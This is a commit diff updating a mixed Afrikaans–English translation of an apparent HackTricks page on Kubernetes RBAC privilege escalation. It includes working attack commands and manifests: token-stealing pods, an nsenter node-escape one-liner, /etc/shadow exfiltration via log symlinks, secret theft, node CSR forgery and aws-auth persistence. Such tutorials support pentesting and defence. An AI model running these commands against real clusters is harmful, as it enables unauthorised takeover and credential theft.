mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['', 'src/pentesting-cloud/kubernetes-security/pentesting-kub
This commit is contained in:
Translator
+161
-138
@@ -1,23 +1,23 @@
|
||||
# Misbruik van Rolle/ClusterRolle in Kubernetes
|
||||
# Misbruik van Roles/ClusterRoles in Kubernetes
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Hier kan jy 'n paar potensieel gevaarlike Rolle en ClusterRolle konfigurasies vind.\
|
||||
Onthou dat jy al die ondersteunde hulpbronne kan kry met `kubectl api-resources`
|
||||
Hier kan jy 'n paar potensieel gevaarlike Roles en ClusterRoles-konfigurasies vind.\
|
||||
Onthou dat jy al die ondersteunde resources kan kry met `kubectl api-resources`
|
||||
|
||||
## **Privilegie Eskalasie**
|
||||
## **Privilege Escalation**
|
||||
|
||||
Verwys na die kuns om **toegang te verkry tot 'n ander prinsiep** binne die kluster **met verskillende voorregte** (binne die kubernetes kluster of na eksterne wolke) as diegene wat jy reeds het, in Kubernetes is daar basies **4 hoof tegnieke om voorregte te eskaleer**:
|
||||
Beskryf as die kuns om **toegang tot 'n ander principal'** binne die cluster te kry **met ander voorregte** (binne die kubernetes cluster of na eksterne clouds) as dié wat jy reeds het, in Kubernetes is daar basies **4 hoof-tegnieke om voorregte op te skaal**:
|
||||
|
||||
- In staat wees om **te verpersoonlik** ander gebruikers/groepe/SAs met beter voorregte binne die kubernetes kluster of na eksterne wolke
|
||||
- In staat wees om **te skep/patch/exec pods** waar jy **SAs met beter voorregte** binne die kubernetes kluster of na eksterne wolke kan vind of aanheg
|
||||
- In staat wees om **geheime te lees** aangesien die SAs tokens as geheime gestoor word
|
||||
- In staat wees om **te ontsnap na die node** vanaf 'n houer, waar jy al die geheime van die houers wat in die node loop, die akrediteer van die node, en die toestemmings van die node binne die wolk waarin dit loop (indien enige)
|
||||
- 'n Vyfde tegniek wat 'n vermelding werd is, is die vermoë om **poort-voorwaarts** in 'n pod te loop, aangesien jy dalk toegang kan verkry tot interessante hulpbronne binne daardie pod.
|
||||
- Kan **impersonate** ander user/groups/SAs met beter voorregte binne die kubernetes cluster of na eksterne clouds
|
||||
- Kan **create/patch/exec pods** waar jy **find or attach SAs** met beter voorregte binne die kubernetes cluster of na eksterne clouds
|
||||
- Kan **read secrets** aangesien die SAs tokens as secrets gestoor word
|
||||
- Kan **escape to the node** vanaf 'n container, waar jy al die secrets van die containers wat op die node loop, die credentials van die node, en die permissies van die node binne die cloud waarin dit loop (indien enige) kan steel
|
||||
- 'n Vyfde tegniek wat 'n vermelding verdien is die vermoë om in 'n pod **run port-forward**, aangesien jy dalk interessante resources binne daardie pod kan bereik.
|
||||
|
||||
### Toegang tot Enige Hulpbron of Werkwoord (Wildcard)
|
||||
### Toegang Tot Enige Resource of Verb (Wildcard)
|
||||
|
||||
Die **wildcard (\*) gee toestemming oor enige hulpbron met enige werkwoord**. Dit word deur admins gebruik. Binne 'n ClusterRole beteken dit dat 'n aanvaller enige namespace in die kluster kan misbruik
|
||||
Die **wildcard (\*) verleen toestemming oor enige resource met enige verb**. Dit word deur admins gebruik. Binne 'n ClusterRole beteken dit dat 'n aanvaller enigenamespace in die cluster kan misbruik
|
||||
```yaml
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: ClusterRole
|
||||
@@ -29,13 +29,13 @@ rules:
|
||||
resources: ["*"]
|
||||
verbs: ["*"]
|
||||
```
|
||||
### Toegang tot Enige Hulpbron met 'n spesifieke werkwoord
|
||||
### Toegang tot enige hulpbron met 'n spesifieke werkwoord
|
||||
|
||||
In RBAC bied sekere toestemmings beduidende risiko's:
|
||||
In RBAC hou sekere permissies beduidende risiko's in:
|
||||
|
||||
1. **`create`:** Gee die vermoë om enige klusterhulpbron te skep, wat 'n risiko vir privilige-eskalasie inhou.
|
||||
2. **`list`:** Laat toe om alle hulpbronne te lys, wat moontlik sensitiewe data kan lek.
|
||||
3. **`get`:** Laat toegang tot geheime van diensrekeninge toe, wat 'n sekuriteitsbedreiging inhou.
|
||||
1. **`create`:** Gee die vermoë om enige cluster resource te skep, wat privilege escalation moontlik maak.
|
||||
2. **`list`:** Laat toe om alle resources te lys, potentially leaking sensitive data.
|
||||
3. **`get`:** Maak dit moontlik om secrets van service accounts te verkry, wat 'n sekuriteitsrisiko inhou.
|
||||
```yaml
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: ClusterRole
|
||||
@@ -47,11 +47,11 @@ rules:
|
||||
resources: ["*"]
|
||||
verbs: ["create", "list", "get"]
|
||||
```
|
||||
### Pod Skep - Steel Token
|
||||
### Pod Create - Steal Token
|
||||
|
||||
'n Aanvaller met die regte om 'n pod te skep, kan 'n bevoorregte Diensrekening aan die pod heg en die token steel om die Diensrekening na te boots. Effektief die bevoegdhede te verhoog.
|
||||
'n attacker met die regte om 'n pod te skep, kan 'n bevoorregte Service Account aan die pod heg en die token steel om die Service Account te impersonate. Dit eskaleer effektief bevoegdhede na die Service Account.
|
||||
|
||||
Voorbeeld van 'n pod wat die token van die `bootstrap-signer` diensrekening sal steel en dit na die aanvaller sal stuur:
|
||||
Voorbeeld van 'n pod wat die token van die `bootstrap-signer` service account sal steel en dit aan die attacker stuur:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
@@ -72,14 +72,14 @@ serviceAccountName: bootstrap-signer
|
||||
automountServiceAccountToken: true
|
||||
hostNetwork: true
|
||||
```
|
||||
### Pod Skep & Ontsnapping
|
||||
### Pod Create & Escape
|
||||
|
||||
Die volgende dui al die voorregte aan wat 'n houer kan hê:
|
||||
Die volgende dui al die voorregte aan wat 'n container kan hê:
|
||||
|
||||
- **Bevoorregte toegang** (deaktiveer beskermings en stel vermoëns in)
|
||||
- **Deaktiveer namespaces hostIPC en hostPid** wat kan help om voorregte te verhoog
|
||||
- **Deaktiveer hostNetwork** namespace, wat toegang gee om nodes se wolkvoorregte te steel en beter toegang tot netwerke te verkry
|
||||
- **Monteer gashere / binne die houer**
|
||||
- **Privileged access** (beskermings afskakel en capabilities instel)
|
||||
- **Disable namespaces hostIPC and hostPid** wat kan help om voorregte te eskaleer
|
||||
- **Disable hostNetwork** naamruimte, wat toegang gee om nodes se cloud-voorregte te steel en beter toegang tot netwerke
|
||||
- **Mount hosts / inside the container**
|
||||
```yaml:super_privs.yaml
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
@@ -119,13 +119,15 @@ Skep die pod met:
|
||||
```bash
|
||||
kubectl --token $token create -f mount_root.yaml
|
||||
```
|
||||
Een-liner van [hierdie tweet](https://twitter.com/mauilion/status/1129468485480751104) en met 'n paar toevoegings:
|
||||
Eenreël van [this tweet](https://twitter.com/mauilion/status/1129468485480751104) en met 'n paar byvoegings:
|
||||
```bash
|
||||
kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'
|
||||
```
|
||||
Nou dat jy na die node kan ontsnap kyk na post-exploitation techniques in:
|
||||
|
||||
#### Stealth
|
||||
|
||||
Jy wil waarskynlik **stealthier** wees, in die volgende bladsye kan jy sien wat jy sou kon toegang hê tot as jy 'n pod skep wat slegs sommige van die genoemde voorregte in die vorige sjabloon inskakel:
|
||||
Jy wil waarskynlik meer onopvallend wees; in die volgende bladsye kan jy sien waartoe jy toegang sou hê as jy 'n pod skep wat slegs sommige van die vroeër genoemde privileges in die vorige sjabloon aktiveer:
|
||||
|
||||
- **Privileged + hostPID**
|
||||
- **Privileged only**
|
||||
@@ -134,14 +136,14 @@ Jy wil waarskynlik **stealthier** wees, in die volgende bladsye kan jy sien wat
|
||||
- **hostNetwork**
|
||||
- **hostIPC**
|
||||
|
||||
_Jy kan 'n voorbeeld vind van hoe om die vorige voorregte pod konfigurasies te skep/te misbruik in_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods)
|
||||
_You can find example of how to create/abuse the previous privileged pods configurations in_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods)
|
||||
|
||||
### Pod Create - Move to cloud
|
||||
|
||||
As jy 'n **pod** (en opsioneel 'n **service account**) kan **skep**, kan jy dalk **voorregte in die wolkomgewing verkry** deur **wolkrroles aan 'n pod of 'n service account toe te ken** en dit dan te benader.\
|
||||
Boonop, as jy 'n **pod met die host netwerk naamruimte** kan skep, kan jy die **IAM** rol van die **node** instansie **steel**.
|
||||
As jy 'n **pod** kan **create** (en opsioneel 'n **service account**) kan jy moontlik **obtain privileges in cloud environment** deur **assigning cloud roles to a pod or a service account** en dit dan te gebruik.\
|
||||
Verder, as jy 'n **pod with the host network namespace** kan skep, kan jy die **IAM** rol van die **node** instance **steal**.
|
||||
|
||||
Vir meer inligting, kyk:
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
pod-escape-privileges.md
|
||||
@@ -149,9 +151,9 @@ pod-escape-privileges.md
|
||||
|
||||
### **Create/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs**
|
||||
|
||||
Dit is moontlik om hierdie toestemmings te misbruik om 'n **nuwe pod** te **skep** en voorregte te verkry soos in die vorige voorbeeld.
|
||||
Dit is moontlik om hierdie permissies te misbruik om 'n **nuwe pod te create** en voorregte te verkry soos in die vorige voorbeeld.
|
||||
|
||||
Die volgende yaml **skep 'n daemonset en eksfiltreer die token van die SA** binne die pod:
|
||||
Die volgende yaml **creates a daemonset and exfiltrates the token of the SA** inside the pod:
|
||||
```yaml
|
||||
apiVersion: apps/v1
|
||||
kind: DaemonSet
|
||||
@@ -189,32 +191,32 @@ path: /
|
||||
```
|
||||
### **Pods Exec**
|
||||
|
||||
**`pods/exec`** is 'n hulpbron in kubernetes wat gebruik word om **opdragte in 'n skulp binne 'n pod te loop**. Dit maak dit moontlik om **opdragte binne die houers te loop of 'n skulp binne te kry**.
|
||||
**`pods/exec`** is 'n resource in kubernetes wat gebruik word vir **running commands in a shell inside a pod**. Dit maak dit moontlik om **run commands inside the containers or get a shell inside**.
|
||||
|
||||
Daarom is dit moontlik om **binne 'n pod te kom en die token van die SA te steel**, of om 'n bevoorregte pod binne te gaan, na die node te ontsnap, en al die tokens van die pods in die node te steel en (ab)gebruik te maak van die node:
|
||||
Daarom is dit moontlik om **get inside a pod and steal the token of the SA**, of in 'n privileged pod in te gaan, na die node te ontsnap, en al die tokens van die pods op die node te steel en die node te (ab)use:
|
||||
```bash
|
||||
kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh
|
||||
```
|
||||
> [!NOTE]
|
||||
> Standaard word die opdrag in die eerste houer van die pod uitgevoer. Kry **alle die pods in 'n houer** met `kubectl get pods <pod_name> -o jsonpath='{.spec.containers[*].name}'` en dui dan **die houer** aan waar jy dit wil uitvoer met `kubectl exec -it <pod_name> -c <container_name> -- sh`
|
||||
> Standaard word die opdrag in die eerste kontenaer van die pod uitgevoer. Kry **al die kontenaers in 'n pod** met `kubectl get pods <pod_name> -o jsonpath='{.spec.containers[*].name}'` en dui dan die **kontenaer aan** waarin jy dit wil uitvoer met `kubectl exec -it <pod_name> -c <container_name> -- sh`
|
||||
|
||||
As dit 'n distroless houer is, kan jy probeer om **shell builtins** te gebruik om inligting van die houers te kry of jou eie gereedskap soos 'n **busybox** op te laai met: **`kubectl cp </path/local/file> <podname>:</path/in/container>`**.
|
||||
As dit 'n distroless container is, kan jy probeer om **shell builtins** te gebruik om inligting oor die kontenaers te kry, of jou eie gereedskap op te laai, soos 'n **busybox**, met: **`kubectl cp </path/local/file> <podname>:</path/in/container>`**.
|
||||
|
||||
### port-forward
|
||||
|
||||
Hierdie toestemming laat toe om **een plaaslike poort na een poort in die gespesifiseerde pod te stuur**. Dit is bedoel om dit maklik te maak om toepassings wat binne 'n pod loop te debugeer, maar 'n aanvaller kan dit misbruik om toegang te verkry tot interessante (soos DB's) of kwesbare toepassings (webs?) binne 'n pod:
|
||||
Hierdie toestemming laat toe om **een plaaslike poort na 'n poort in die gespesifiseerde pod deur te stuur**. Dit is bedoel om dit maklik te maak om toepassings wat binne 'n pod loop te debug, maar 'n aanvaller kan dit misbruik om toegang te kry tot interessante (soos DBs) of kwesbare toepassings (webs?) binne 'n pod:
|
||||
```bash
|
||||
kubectl port-forward pod/mypod 5000:5000
|
||||
```
|
||||
### Hosts Writable /var/log/ Escape
|
||||
|
||||
Soos [**aangegee in hierdie navorsing**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), as jy toegang het tot of 'n pod kan skep met die **hosts `/var/log/` gids gemonteer** daarop, kan jy **uit die houer ontsnap**.\
|
||||
Dit is basies omdat wanneer die **Kube-API probeer om die logs** van 'n houer te kry (met `kubectl logs <pod>`), dit **die `0.log`** lêer van die pod aanvra deur die `/logs/` eindpunt van die **Kubelet** diens.\
|
||||
Die Kubelet diens stel die `/logs/` eindpunt bloot wat basies net die **`/var/log` lêerstelsel van die houer blootstel**.
|
||||
Soos [**indicated in this research**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), as jy toegang het tot of 'n pod kan skep met die gasheer se **`/var/log/` gids gemonteer** daarop, kan jy **escape from the container**.\
|
||||
Dit is hoofsaaklik omdat wanneer die **Kube-API probeer om die logs te kry** van 'n container (met `kubectl logs <pod>`), dit **requests the `0.log`** lêer van die pod versoek deur die `/logs/` endpoint van die **Kubelet** diens.\
|
||||
Die Kubelet diens stel die `/logs/` endpoint bloot wat basies die **`/var/log` filesisteem van die container blootstel**.
|
||||
|
||||
Daarom kan 'n aanvaller met **toegang om in die /var/log/ gids** van die houer te skryf, hierdie gedrag op 2 maniere misbruik:
|
||||
Daarom kan 'n aanvaller met **toegang om in die `/var/log/` vouer te skryf** van die container hierdie gedrag op 2 maniere misbruik:
|
||||
|
||||
- Om die `0.log` lêer van sy houer (gewoonlik geleë in `/var/logs/pods/namespace_pod_uid/container/0.log`) te wysig om 'n **symlink wat na `/etc/shadow`** wys te wees, byvoorbeeld. Dan sal jy in staat wees om die hosts skadu lêer te exfiltreer deur:
|
||||
- Deur die `0.log` file van sy container te wysig (gewoonlik geleë by `/var/logs/pods/namespace_pod_uid/container/0.log`) om byvoorbeeld 'n **symlink wat na `/etc/shadow` wys** te wees. Dan sal jy die gasheer se shadow-lêer kan exfiltrate deur:
|
||||
```bash
|
||||
kubectl logs escaper
|
||||
failed to get parse function: unsupported log format: "root::::::::\n"
|
||||
@@ -222,7 +224,7 @@ kubectl logs escaper --tail=2
|
||||
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
|
||||
# Keep incrementing tail to exfiltrate the whole file
|
||||
```
|
||||
- As die aanvaller enige hoofpersoon met die **regte om `nodes/log` te lees** beheer, kan hy eenvoudig 'n **symlink** in `/host-mounted/var/log/sym` na `/` skep en wanneer **hy toegang verkry tot `https://<gateway>:10250/logs/sym/` sal hy die gashere se wortel** lêersisteem lys (die verandering van die symlink kan toegang tot lêers bied).
|
||||
- As die aanvaller enige prinsipaal beheer met die **toestemming om `nodes/log` te lees**, kan hy net 'n **symlink** in `/host-mounted/var/log/sym` na `/` skep en wanneer hy **toegang tot `https://<gateway>:10250/logs/sym/` kry**, sal hy die gasheer se wortel-lêerstelsel kan lys (deur die symlink te verander kan toegang tot lêers verskaf word).
|
||||
```bash
|
||||
curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
|
||||
<a href="bin">bin</a>
|
||||
@@ -234,23 +236,23 @@ curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://
|
||||
<a href="lib">lib</a>
|
||||
[...]
|
||||
```
|
||||
**'n Laboratorium en geoutomatiseerde eksploit kan gevind word in** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts)
|
||||
**'n laboratorium en geoutomatiseerde exploit kan gevind word in** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts)
|
||||
|
||||
#### Om die readOnly beskerming te omseil <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
|
||||
#### Omseiling van readOnly-beskerming <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
|
||||
|
||||
As jy gelukkig genoeg is en die hoogs bevoorregte vermoë `CAP_SYS_ADMIN` beskikbaar is, kan jy net die gids weer as rw monteer:
|
||||
As jy gelukkig genoeg is en die hoogs bevoorregte bevoegdheid `CAP_SYS_ADMIN` beskikbaar is, kan jy die map net as rw hermonteer:
|
||||
```bash
|
||||
mount -o rw,remount /hostlogs/
|
||||
```
|
||||
#### Om hostPath readOnly beskerming te omseil <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
|
||||
#### Om hostPath readOnly-beskerming te omseil <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
|
||||
|
||||
Soos vermeld in [**hierdie navorsing**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html) is dit moontlik om die beskerming te omseil:
|
||||
Soos aangedui in [**this research**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html) is dit moontlik om die beskerming te omseil:
|
||||
```yaml
|
||||
allowedHostPaths:
|
||||
- pathPrefix: "/foo"
|
||||
readOnly: true
|
||||
```
|
||||
Wat bedoel was om ontsnapings soos die vorige te voorkom deur, in plaas van 'n hostPath-mount te gebruik, 'n PersistentVolume en 'n PersistentVolumeClaim te gebruik om 'n gasheer se gids in die houer met skryftoegang te monteer:
|
||||
Dit was bedoel om ontsnappings soos die vorige te voorkom deur, in plaas daarvan om 'n hostPath mount te gebruik, 'n PersistentVolume en 'n PersistentVolumeClaim te gebruik om 'n hosts folder in die container met writable access te mount:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: PersistentVolume
|
||||
@@ -296,11 +298,11 @@ volumeMounts:
|
||||
- mountPath: "/hostlogs"
|
||||
name: task-pv-storage-vol
|
||||
```
|
||||
### **Impersonering van bevoorregte rekeninge**
|
||||
### **Impersonasie van bevoorregte rekeninge**
|
||||
|
||||
Met 'n [**gebruikersimpersonering**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation) voorreg, kan 'n aanvaller 'n bevoorregte rekening impersoner.
|
||||
Met 'n [**user impersonation**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation) voorreg kan 'n aanvaller 'n bevoorregte rekening naboots.
|
||||
|
||||
Gebruik eenvoudig die parameter `--as=<username>` in die `kubectl` opdrag om 'n gebruiker te impersoner, of `--as-group=<group>` om 'n groep te impersoner:
|
||||
Gebruik net die parameter `--as=<username>` in die `kubectl`-opdrag om 'n gebruiker na te boots, of `--as-group=<group>` om 'n groep na te boots:
|
||||
```bash
|
||||
kubectl get pods --as=system:serviceaccount:kube-system:default
|
||||
kubectl get secrets --as=null --as-group=system:masters
|
||||
@@ -313,15 +315,16 @@ curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
|
||||
-H "Accept: application/json" \
|
||||
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
|
||||
```
|
||||
### Lys van Geheimen
|
||||
### Lys van Secrets
|
||||
|
||||
Die toestemming om **geheime te lys kan 'n aanvaller in staat stel om werklik die geheime te lees** deur toegang te verkry tot die REST API eindpunt:
|
||||
Die toestemming om **list secrets** kan 'n aanvaller toelaat om werklik die secrets te lees deur toegang tot die REST API endpoint:
|
||||
```bash
|
||||
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
|
||||
```
|
||||
### Skep en Lees Geheimen
|
||||
### Skep en Lees Secrets
|
||||
|
||||
Daar is 'n spesiale soort Kubernetes geheim van tipe **kubernetes.io/service-account-token** wat serviceaccount tokens stoor. As jy toestemmings het om geheimen te skep en te lees, en jy weet ook die naam van die serviceaccount, kan jy 'n geheim soos volg skep en dan die slagoffer se serviceaccount token daaruit steel:
|
||||
Daar is 'n spesiale soort Kubernetes secret van die tipe **kubernetes.io/service-account-token** wat serviceaccount-tokens stoor.
|
||||
As jy toestemming het om secrets te skep en te lees, en jy ken ook die serviceaccount se naam, kan jy 'n secret soos volg skep en dan die slagoffer se serviceaccount-token daaruit steel:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Secret
|
||||
@@ -332,7 +335,7 @@ annotations:
|
||||
kubernetes.io/service-account.name: cluster-admin-sa
|
||||
type: kubernetes.io/service-account-token
|
||||
```
|
||||
Voorbeeld van uitbuiting:
|
||||
Voorbeeld exploitation:
|
||||
```bash
|
||||
$ SECRETS_MANAGER_TOKEN=$(kubectl create token secrets-manager-sa)
|
||||
|
||||
@@ -380,17 +383,17 @@ $ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o jso
|
||||
"type": "kubernetes.io/service-account-token"
|
||||
}
|
||||
```
|
||||
Let daarop dat as jy toegelaat word om sekrete in 'n sekere naamruimte te skep en te lees, die slagoffer diensrekening ook in daardie selfde naamruimte moet wees.
|
||||
Let daarop dat as jy toegelaat word om secrets in ’n sekere namespace te skep en te lees, die slagoffer serviceaccount ook in daardie selfde namespace moet wees.
|
||||
|
||||
### Lees 'n geheim – brute-forcing token ID's
|
||||
### Reading a secret – brute-forcing token IDs
|
||||
|
||||
Terwyl 'n aanvaller in besit van 'n token met leesregte die presiese naam van die geheim benodig om dit te gebruik, in teenstelling met die breër _**lys van sekrete**_ voorreg, is daar steeds kwesbaarhede. Standaard diensrekeninge in die stelsel kan opgenoem word, elk geassosieer met 'n geheim. Hierdie sekrete het 'n naamstruktuur: 'n statiese voorvoegsel gevolg deur 'n ewekansige vyf-karakter alfanumeriese token (uitgesluit sekere karakters) volgens die [source code](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83).
|
||||
Terwyl ’n aanvaller in besit van ’n token met leesregte die presiese naam van die secret benodig om dit te gebruik, in teenstelling met die breër _**listing secrets**_ voorreg, bestaan daar steeds kwesbaarhede. Default serviceaccounts in die stelsel kan geënumeer word, elk geassosieer met ’n secret. Hierdie secrets het ’n naamstruktuur: ’n statiese voorvoegsel gevolg deur ’n ewekansige vyf-karakter alfanumeriese token (sonder sekere karakters) volgens die [source code](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83).
|
||||
|
||||
Die token word gegenereer uit 'n beperkte 27-karakter stel (`bcdfghjklmnpqrstvwxz2456789`), eerder as die volle alfanumeriese reeks. Hierdie beperking verminder die totale moontlike kombinasies tot 14,348,907 (27^5). Gevolglik kan 'n aanvaller haalbaar 'n brute-force aanval uitvoer om die token binne 'n paar uur te deduseer, wat moontlik kan lei tot voorregverhoging deur toegang tot sensitiewe diensrekeninge.
|
||||
Die token word gegenereer uit ’n beperkte stel van 27 karakters (`bcdfghjklmnpqrstvwxz2456789`), eerder as die volle alfanumeriese reeks. Hierdie beperking verminder die totale moontlike kombinasies tot 14,348,907 (27^5). Gevolglik kan ’n aanvaller teoreties ’n brute-force attack uitvoer om die token binne ’n paar uur te raai, wat moontlik tot privilege escalation lei deur toegang tot sensitiewe serviceaccounts te verkry.
|
||||
|
||||
### EncrpytionConfiguration in duidelike teks
|
||||
### EncrpytionConfiguration in clear text
|
||||
|
||||
Dit is moontlik om duidelike teks sleutels te vind om data in rus in hierdie tipe objek te enkripteer soos:
|
||||
Dit is moontlik om duidelike teks-sleutels te vind om data at rest te enkripteer in hierdie tipe objek, soos:
|
||||
```yaml
|
||||
# From https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/
|
||||
|
||||
@@ -447,11 +450,11 @@ keys:
|
||||
- name: key3
|
||||
secret: c2VjcmV0IGlzIHNlY3VyZSwgSSB0aGluaw==
|
||||
```
|
||||
### Sertifikaat Ondertekening Versoeke
|
||||
### Sertifikaatondertekeningsversoeke
|
||||
|
||||
As jy die werkwoorde **`create`** in die hulpbron `certificatesigningrequests` (of ten minste in `certificatesigningrequests/nodeClient`) het. Jy kan **create** 'n nuwe CeSR van 'n **nuwe node.**
|
||||
As jy die werkwoord `create` in die resource `certificatesigningrequests` (of ten minste in `certificatesigningrequests/nodeClient`) het, kan jy 'n **nuwe node** CeSR **skep**.
|
||||
|
||||
Volgens die [dokumentasie is dit moontlik om hierdie versoeke outomaties goed te keur](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), so in daardie geval het jy **nie ekstra toestemmings nodig nie**. As nie, sal jy in staat moet wees om die versoek goed te keur, wat beteken opdatering in `certificatesigningrequests/approval` en `approve` in `signers` met resourceName `<signerNameDomain>/<signerNamePath>` of `<signerNameDomain>/*`
|
||||
According to the [documentation it's possible to auto approve this requests](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), dus in daardie geval het jy **nie ekstra toestemmings nodig nie**. Indien nie, sal jy in staat moet wees om die versoek goed te keur, wat beteken update in `certificatesigningrequests/approval` en `approve` in `signers` met resourceName `<signerNameDomain>/<signerNamePath>` of `<signerNameDomain>/*`
|
||||
|
||||
'n **voorbeeld van 'n rol** met al die vereiste toestemmings is:
|
||||
```yaml
|
||||
@@ -484,19 +487,19 @@ resourceNames:
|
||||
verbs:
|
||||
- approve
|
||||
```
|
||||
So, met die nuwe node CSR goedgekeur, kan jy die spesiale toestemmings van nodes **misbruik** om **geheime** te **steel** en **privileges te verhoog**.
|
||||
Dus, met die nuwe node CSR goedgekeur, kan jy die spesiale permissies van nodes **abuse** om **steal secrets** en **escalate privileges**.
|
||||
|
||||
In [**hierdie pos**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) en [**hierdie een**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) is die GKE K8s TLS Bootstrap konfigurasie geconfigureer met **outomatiese ondertekening** en dit word misbruik om geloofsbriewe van 'n nuwe K8s Node te genereer en dan dit te misbruik om privileges te verhoog deur geheime te steel.\
|
||||
As jy **die genoemde privileges het, kan jy dieselfde ding doen**. Let daarop dat die eerste voorbeeld die fout om 'n nuwe node te verhoed om geheime binne houers te benader, omseil omdat 'n **node slegs toegang kan hê tot die geheime van houers wat op dit gemonteer is.**
|
||||
In [**this post**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) and [**this one**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) is die GKE K8s TLS Bootstrap-konfigurasie opgestel met **automatic signing** en dit word **abused** om credentials van 'n nuwe K8s Node te genereer en daardie credentials dan te **abuse** om **escalate privileges** deur **stealing secrets**.\
|
||||
As jy **die genoemde privileges het, kan jy dieselfde doen**. Let wel dat die eerste voorbeeld die fout omseil wat 'n nuwe node verhinder om toegang tot secrets binne containers te kry, omdat 'n **node can only access the secrets of containers mounted on it.**
|
||||
|
||||
Die manier om dit te omseil, is net om **'n node-geloofsbrief te skep vir die nodenaam waar die houer met die interessante geheime gemonteer is** (maar kyk net hoe om dit in die eerste pos te doen):
|
||||
Die manier om dit te omseil, is eenvoudig net om **create a node credentials for the node name where the container with the interesting secrets is mounted** (maar kyk net hoe om dit te doen in die eerste post):
|
||||
```bash
|
||||
"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"
|
||||
```
|
||||
### AWS EKS aws-auth configmaps
|
||||
|
||||
Beginsels wat **`configmaps`** in die kube-system naamruimte op EKS (moet in AWS) klusters kan wysig, kan cluster admin voorregte verkry deur die **aws-auth** configmap te oorskryf.\
|
||||
Die werkwoorde wat benodig word, is **`update`** en **`patch`**, of **`create`** as die configmap nie geskep is nie:
|
||||
Begunstigdes wat **`configmaps`** in die kube-system namespace op EKS (moet in AWS wees) clusters kan wysig, kan cluster admin privileges verkry deur die **aws-auth** configmap te oorskryf.\
|
||||
Die verbs wat benodig word is **`update`** en **`patch`**, of **`create`** as die configmap nie geskep is nie:
|
||||
```bash
|
||||
# Check if config map exists
|
||||
get configmap aws-auth -n kube-system -o yaml
|
||||
@@ -536,18 +539,18 @@ groups:
|
||||
- system:masters
|
||||
```
|
||||
> [!WARNING]
|
||||
> Jy kan **`aws-auth`** gebruik vir **volharding** om toegang te gee aan gebruikers van **ander rekeninge**.
|
||||
> Jy kan **`aws-auth`** gebruik vir **persistence** om toegang te gee aan gebruikers van **ander rekeninge**.
|
||||
>
|
||||
> egter, `aws --profile other_account eks update-kubeconfig --name <cluster-name>` **werk nie vanaf 'n ander rekening nie**. Maar eintlik werk `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` as jy die ARN van die kluster in plaas van net die naam sit.\
|
||||
> Om `kubectl` te laat werk, maak net seker om die **slagoffers se kubeconfig** te **konfigureer** en voeg in die aws exec args `--profile other_account_role` by sodat kubectl die ander rekening se profiel sal gebruik om die token te kry en AWS te kontak.
|
||||
> Egter, `aws --profile other_account eks update-kubeconfig --name <cluster-name>` **werk nie vanaf 'n ander rekening nie**. Maar eintlik werk `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` as jy die ARN van die cluster in plaas van net die naam invul.\
|
||||
